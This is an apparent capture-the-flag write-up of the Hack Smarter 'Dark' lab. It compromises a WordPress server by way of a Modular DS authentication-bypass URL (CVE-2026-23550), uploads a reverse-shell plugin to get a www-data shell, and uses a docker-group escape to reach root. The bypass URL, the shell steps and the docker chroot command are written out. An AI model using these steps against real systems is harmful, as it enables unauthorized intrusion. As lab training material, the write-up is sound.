> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/dark.md).

# Dark

{% embed url="<https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been hired to perform a penetration test on a single host in a company's network. Your task is to identify all vulnerabilities and demonstrate impact to the client by elevating your privileges to root.

The client has provided you with VPN access to the network, but no additional details.

## Summary

<details>

<summary>Summary</summary>

In Dark, we begin against a Linux web server at `10.1.114.250`. A port scan reveals OpenSSH on `22` and Apache hosting a WordPress 6.0 site on `80`. Manual browsing and `feroxbuster` turn up nothing beyond a static landing page, so we pivot to `wpscan`, which initially misses all installed plugins. Forcing plugin enumeration with a mixed scan uncovers `modular-connector`, vulnerable to CVE-2026-23550, an unauthenticated privilege escalation in Modular DS < 2.5.2 caused by overly permissive route matching that lets an unauthenticated request hit the login endpoint and auto-login as admin. Exploiting it grants us admin access as `streetcoderadmin`.

Editing the active theme to plant a reverse shell fails due to sanitization, so we instead repack the lightweight `System Health Monitor` reverse shell plugin with our IP and port hardcoded, upload it, activate it, and trigger its `stream_socket_client` health check to catch a shell as `www-data`, retrieving the user flag. Since `www-data` belongs to the `docker` group, `deepce.sh` confirms a container escape: mounting the host filesystem into an Alpine container and chrooting in (`docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash`) yields a `root` shell and the root flag.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.114.250 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.1.114.250 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/uzmZDEG2X1G0EYYfDs43" alt=""><figcaption></figcaption></figure>

The target `10.1.114.250` is a Linux-based web server running OpenSSH `8.9p1` on port `22`. A web server Apache `2.4.52` is exposed on port `80`, hosting a WordPress site titled 'Dark – Just another WordPress site' with WordPress `6.0`. The `robots.txt` file disallows the `/wp-admin/` path.

<figure><img src="/files/MBtQpwie5u5aMGhwv4nH" alt=""><figcaption></figcaption></figure>

We visit the site manually but find only a static landing page.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/
```

{% endcode %}

<figure><img src="/files/rSbgiSDw8KoDcaqORcCN" alt=""><figcaption></figcaption></figure>

A directory scan using FeroxBuster does not reveal any other endpoints of interest. We can only confirm the result of our port scan, which indicates that we are dealing with a WordPress page.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://10.1.114.250'
```

{% endcode %}

<figure><img src="/files/pIF1PRx1j0aGr4soag8b" alt=""><figcaption></figcaption></figure>

Since we are dealing with a WordPress page, we will continue with WPScan. WPScan is a vulnerability scanner. By including an API key, we also get a mapping to the existing CVEs. An API key can be obtained free of charge from the following page:

{% embed url="<https://wpscan.com/>" %}

{% code overflow="wrap" expandable="true" %}

```
wpscan --url http://10.1.114.250 --api-token REDACTED
```

{% endcode %}

<figure><img src="/files/1OqpwWJ0aEQoAM9Hmubz" alt=""><figcaption></figcaption></figure>

We find a few vulnerabilities on WordPress 6.0, but none that could grant us direct access to the server at first glance. The first scan did not detect any plugins, which is quite surprising. We may need to adjust the scan to identify all installed plugins.

<figure><img src="/files/g8Vf7iWHxxaz5kM7fprI" alt=""><figcaption></figcaption></figure>

We customize our scan and explicitly look for plugins using a `mixed` scan. An `aggressive` scan should also find the following plugins, since the mixed scan is a combination of both a passive and aggressive scan.

{% code overflow="wrap" expandable="true" %}

```
wpscan --url http://10.1.114.250 --api-token REDACTED --enumerate p --plugins-detection mixed
```

{% endcode %}

<figure><img src="/files/Rh3HvnBrGQ7esoXAtDbw" alt=""><figcaption></figcaption></figure>

We actually find a vulnerability in plugin `modular-connector` that allows us to perform an unauthenticated privilege escalation. This means we may be able to gain admin access to the WordPress dashboard. This would allow us to plant a web shell or reverse shell to achieve remote code execution on the server.

<figure><img src="/files/GloADJuUL2Khw5fzpVPQ" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
Modular DS < 2.5.2 - Unauthenticated Privilege Escalation
```

{% endcode %}

## Access as streetcoderadmin&#x20;

We research the vulnerability and find a corresponding proof of concept.

{% embed url="<https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/>" %}

<figure><img src="/files/BszPMQvb8pLD0obqLmzz" alt=""><figcaption></figcaption></figure>

A detailed description about the vulnerability can be found here:

{% embed url="<https://patchstack.com/articles/critical-privilege-escalation-vulnerability-in-modular-ds-plugin-affecting-40k-sites-exploited-in-the-wild/>" %}

We simply adapt and visit the URL from the PoC and gain access as `streecoderadmin`.

The URL bypasses authentication because supplying `origin=mo` (or a matching User-Agent) together with any `type` parameter triggers Modular DS's direct request mode, which relaxes the auth middleware to only check whether the site *itself* has an active Modular connection (rather than verifying the identity of the caller). Since the `/login/{modular_request}` route defaults to logging in as the site's admin whenever no specific user ID is passed in the request body, this combination lets any unauthenticated user get logged in as an administrator.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/api/modular-connector/login/anything?origin=mo&type=foo
```

{% endcode %}

<figure><img src="/files/hgGKSWQYxj7M05Tnpdks" alt=""><figcaption></figcaption></figure>

## Shell as www-data

We know the twentytwentytwo theme is active.

<figure><img src="/files/2qCpjts0BTkrkD6v3nKS" alt=""><figcaption></figcaption></figure>

We try to edit the active theme to place a reverse shell...

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/wp-admin/themes.php
```

{% endcode %}

<figure><img src="/files/b8hev6vTDgJF1T5QQuUr" alt=""><figcaption></figcaption></figure>

but the contents passed to the editor gets sanatized after we save it.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/wp-admin/site-editor.php?postType=wp_template&postId=twentytwentytwo%2F%2F404
```

{% endcode %}

<figure><img src="/files/wWvvxjJVKPRnYbztIf7i" alt=""><figcaption></figcaption></figure>

Instead of editing a theme, let's just try uploading a plugin. There are already many on GitHub that allow us to establish a reverse shell. We can also create our own plugin by zipping a PHP file, but let's try the pre-made ones first.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/wp-admin/themes.php
```

{% endcode %}

We try the following one...

{% embed url="<https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin>" %}

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/wp-admin/plugin-install.php
```

{% endcode %}

<figure><img src="/files/s2RD3R0htBMKU6aILFbL" alt=""><figcaption></figcaption></figure>

... but it exceeds the maximum file size.

<figure><img src="/files/weXZIcRQkaAgHTtcqaM1" alt=""><figcaption></figcaption></figure>

There's also a smaler plugin called System Health Monitor.

{% embed url="<https://github.com/Bhanunamikaze/Wordpress_ReverseShell>" %}

We edit the plugin by presetting the IP and port in the PHP file and zip it.

{% code overflow="wrap" expandable="true" %}

```
# Create directory structure
mkdir system-health-monitor
cp system-health-monitor.php system-health-monitor/
zip -r system-health-monitor.zip system-health-monitor/
```

{% endcode %}

<figure><img src="/files/3Y9crvcr5DlFFZoGSRL0" alt=""><figcaption></figcaption></figure>

Next, we upload the zip file with success...

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/wp-admin/plugin-install.php
```

{% endcode %}

<figure><img src="/files/2lw8CWx50DiUysTlF7cm" alt=""><figcaption></figcaption></figure>

Now we can activated the plugin.

<figure><img src="/files/lG7prpCi7qVMPb7giBBo" alt=""><figcaption></figcaption></figure>

We run a listener.

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

And visit the plugin.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.114.250/wp-admin/admin.php?page=system-health-monitor
```

{% endcode %}

We select the following option and run a 'health check'.

{% code overflow="wrap" expandable="true" %}

```
stream_socket_client
```

{% endcode %}

<figure><img src="/files/CGJbGR7gGPPAvrnvXakX" alt=""><figcaption></figcaption></figure>

We catch a reverse shell and are the user `www-data`.

<figure><img src="/files/w5YO9LvpPJlRxlZDaXTo" alt=""><figcaption></figcaption></figure>

The user flag can be found at `/var/www/user.txt`.

{% code overflow="wrap" expandable="true" %}

```
cat /var/www/user.txt
```

{% endcode %}

<figure><img src="/files/WvtNI8Y0HhtEB9EbSW9U" alt=""><figcaption></figcaption></figure>

## Shell as root

The user is member of the docker group. Because we are in the docker group we could potentially escalate to `root` on the host by mounting the host partition inside a container and chrooting into it.

We run a check with `deepce.sh`...

{% embed url="<https://github.com/stealthcopter/deepce>" %}

<figure><img src="/files/d8yR4SYSu2lPLFKSZVxp" alt=""><figcaption></figcaption></figure>

... confirming that we can escalate to `root` on the host by mounting the host partition inside a container and chrooting into it.

<figure><img src="/files/LObV2bKz5OlHVUofGlf8" alt=""><figcaption></figcaption></figure>

We follow the refrenced exploit.

{% embed url="<https://stealthcopter.github.io/deepce/guides/docker-group.md>" %}

And run the following command to mount the host's root filesystem into an Alpine container at `/mnt`, then `chroot`s into it.

From there we can reach hosts root home directory and find the flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cat /root/root.txt
```

{% endcode %}

<figure><img src="/files/CSkOoiWiO3CAR7QghzOo" alt=""><figcaption></figcaption></figure>

We could also leverage the script to perform the exploit

{% code overflow="wrap" expandable="true" %}

```
./deepce.sh -e DOCKER
```

{% endcode %}

<figure><img src="/files/oiNftIlsT6nB2JhI2Tfj" alt=""><figcaption></figcaption></figure>
